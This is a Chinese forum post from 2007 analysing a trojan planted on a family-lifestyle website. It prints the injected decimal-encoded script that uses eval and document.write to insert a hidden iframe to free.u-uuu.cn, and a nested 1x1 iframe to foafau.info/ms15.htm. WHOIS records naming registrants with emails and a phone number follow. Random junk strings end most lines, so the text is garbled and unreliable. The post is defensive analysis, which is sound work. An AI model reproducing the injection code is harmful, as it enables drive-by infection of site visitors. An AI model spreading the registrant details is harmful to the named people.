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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, \l]jX: 9(  
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http://www.areway.cn/?p=175 "E'OP R  
Xbap' /t  
v#nFPB=z  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: [u-~<80  
          "5>p]u>  
<script>t=’60,105,102,114,97,109,101, v3hNvcMpf  
32,115,114,99,61,104,116,116,112,58,47,47, *1>XlVx,  
102,114,101,101,46,117,45,117,117,117,46,99, @9QHv  
110,47,101,114,114,111,114,46,104,116,109, %r|fuwwJO  
32,119,105,100,116,104,61,49,48,48,32,104, `N|WCiBV.  
101,105,103,104,116,61,48,62,60,47,105,102, OCR x|  
114,97,109,101,62′; S"}FsS;k<?  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> vK$T$SL  
                                                                                                  JBg",2w |C  
<script>t=’60,105,102,114,97,109,101,32,115, %3kqBH!d  
114,99,61,104,116,116,112,58,47,47,102,114, fTH?t_e  
101,101,46,117,45,117,117,117,46,99,110,47, [#)$BXG~y  
101,114,114,111,114,46,104,116,109,32,119, #xts*{u-#  
105,100,116,104,61,49,48,48,32,104,101,105, lffw7T~  
103,104,116,61,48,62,60,47,105,102,114,97, Pp26UWW  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); !H.&"~w@  
document.write(t);</script> IOfo]p-  
                                                                                                  ~v<r\8`OI2  
<html xmlns=” Nf$Y-v?i  
http://www.w3.org/1999/xhtml tfdP#1E  
“>  -EITz  
<head> rl6vt*g  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> VT+GmS  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> i{ %~&!  
<title>首页 - 爱生活家庭网 f\|33)k  
                                                                                                                                                    GR|Vwxs<@P  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 p 6jR,m8S  
转换字符串后的大概内容是(谁点击后果自付): M/B_-8B_D  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… D0-C:gz  
                                                                                                                                  Q}]Q0'X8  
查询玉米u-uuu.cn的详细信息: =3& WH0  
Domain Name: u-uuu.cn w8@ Ok_fj  
ROID: 20070901s10001s64972306-cn _c%~\LOk  
Domain Status: ok g fO.Ky6  
Registrant Organization: 王雷 U); ,Opr  
Registrant Name: 王雷 /e\} qq  
Administrative Email: czlovexs@126.com 6,oi(RAf  
Sponsoring Registrar: 北京万网志成科技有限公司 a2x2N_\=/D  
Name Server:ns.yovole.com ayC*n'  
Name Server:ns1.yovole.com ;/e!!P]jP  
Registration Date: 2007-09-01 17:54 A03PEaZO  
Expiration Date: 2008-09-01 17:54 *rW]HNz  
最后PING了一下地址 都没有什么…. ko  ~iDT  
                                                                                                )Hw;{5p@  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. [q_Yf!(m-  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> ~6@~fhu  
<script language=”javascript” src=” `~*qjA  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script `uGX/yQ#=  
> #%+IU  
这个玉米应该有可能是木马作者的: 9]hc{\  
foafau.info的详细信息: #H5*]"w6I  
Access to INFO WHOIS information is provided to assist persons in c) 1m4SB@  
determining the contents of a domain name registration record in the ! 4i  
Afilias registry database. The data in this record is provided by yqCy`TK8  
Afilias Limited for informational purposes only, and Afilias does not y.mojx%?a  
guarantee its accuracy.  This service is intended only for query-based W+1V&a}E  
access. You agree that you will use this data only for lawful purposes S0"O U0`N  
and that, under no circumstances will you use this data to: (a) allow, ts)0+x  
enable, or otherwise support the transmission by e-mail, telephone, or :X@;XEol~  
facsimile of mass unsolicited, commercial advertising or solicitations "I_3!Yu  
to entities other than the data recipient’s own existing customers; or \`4}h[  
(b) enable high volume, automated, electronic processes that send DY,Sfh;tp  
queries or data to the systems of Registry Operator, a Registrar, or nA+[[(6  
Afilias except as reasonably necessary to register domain names or S: /ShT  
modify existing registrations. All rights reserved. Afilias reserves 9}3W0F;  
the right to modify these terms at any time. By submitting this query, /$ L;m  
you agree to abide by this policy. `[Lap=.' .  
Domain ID:D22418703-LRMS -4X,x  
Domain Name:FOAFAU.INFO v "oO  
Created On:20-Nov-2007 16:05:42 UTC J!S3pS5j  
Last Updated On:20-Nov-2007 16:05:44 UTC YS~\Gls%  
Expiration Date:20-Nov-2008 16:05:42 UTC 7b Gzun&  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) .R:eN&Y 8y  
Status:CLIENT DELETE PROHIBITED U6_1L,W  
Status:CLIENT RENEW PROHIBITED r+ vtKb  
Status:CLIENT TRANSFER PROHIBITED ir/2/ E  
Status:CLIENT UPDATE PROHIBITED ~\XB'  
Status:TRANSFER PROHIBITED - FE)  
Registrant ID:GODA-040110615 )5]z[sE  
Registrant Name:liu hong I,?bZ&@8  
Registrant Organization: }eB\k,7L  
Registrant Street1:beijing i?|K+"=D  
Registrant Street2: gR1X@j$_  
Registrant Street3: +n)(\k{  
Registrant City:beijing i 0L7`TB  
Registrant State/Province: Zwq uS9  
Registrant Postal Code:100000 8l)l9;4 6  
Registrant Country:CN b8QW^Z  
Registrant Phone:+86.860108888777 E8IWHh_  
Registrant Phone Ext.: $\a;?>WA"  
Registrant FAX: Bt.W_p  
Registrant FAX Ext.: =U@*adgw  
Registrant Email:bbbshiji@163.com q9Fc0(&Vf  
Admin ID:GODA-240110615 ")Bf^DV  
Admin Name:liu hong }rGDM  
Admin Organization: ]`u{^f  
Admin Street1:beijing FeCQGT  
Admin Street2: K$(U>D|  
Admin Street3: vtr:{   
Admin City:beijing vqL{~tR  
Admin State/Province: sW=@G'}3  
Admin Postal Code:100000 nPv2: x  
Admin Country:CN '^P Ud`  
Admin Phone:+86.860108888777 w*bVBuX s  
Admin Phone Ext.: 0<i~XN0g  
Admin FAX: o AQ92~b  
Admin FAX Ext.: =OjzBiHR  
Admin Email:bbbshiji@163.com /=Xen mmS  
Billing ID:GODA-340110615 +mxsjcq0  
Billing Name:liu hong "~FXmKcX  
Billing Organization: cYGZZC8|K  
Billing Street1:beijing +>I4@1qC-|  
Billing Street2: 2c+q~8Jv  
Billing Street3: Y!Z@1V`  
Billing City:beijing |y=CmNG,  
Billing State/Province: TF3Tha]  
Billing Postal Code:100000 OFUN hbg  
Billing Country:CN {5_*f)$[H  
Billing Phone:+86.860108888777 EBebyQcon  
Billing Phone Ext.: )8iDjNM<  
Billing FAX: iJsw:Nc  
Billing FAX Ext.: h` n>6I  
Billing Email:bbbshiji@163.com KY_qK)H  
Tech ID:GODA-140110615 .h*&$c/l  
Tech Name:liu hong ` D4J9;|;]  
Tech Organization: SX F F  
Tech Street1:beijing <v{jJ7w  
Tech Street2: 6tnAE':  
Tech Street3: OTV)#,occ  
Tech City:beijing :I&iDS>u1  
Tech State/Province: /CZOO)n  
Tech Postal Code:100000  sRoZvp 5  
Tech Country:CN t+h"YiT  
Tech Phone:+86.860108888777 J(l6(+8  
Tech Phone Ext.: +)7NWR\  
Tech FAX: {0QA+[Yd&!  
Tech FAX Ext.: WG^D$L:  
Tech Email:bbbshiji@163.com Y ,}p  
Name Server:NS27.DOMAINCONTROL.COM yp :yS  
Name Server:NS28.DOMAINCONTROL.COM "4r5n8  
Name Server: fSun{?{  
Name Server: |-e=P9,  
Name Server: iP_rEi*-J  
Name Server: VD=$:F]  
Name Server: *w%;$\^  
Name Server: 4&&j7$aV  
Name Server: c9ghR0WM  
Name Server: xw?G?(WO  
Name Server: =jG3wf*  
Name Server: |E?%Cj^W  
Name Server: neZ_TT/3K  
                                                                                                          )p!dql K  
接着下载每个文件里面的代码: esLY1c%"/  
一步一步看.. #}jf TM  
#b8/gRfS  
t@4vEKw?.X  
C{>?~@z&5  
TbX ZU$[c  
zZE?G:isR  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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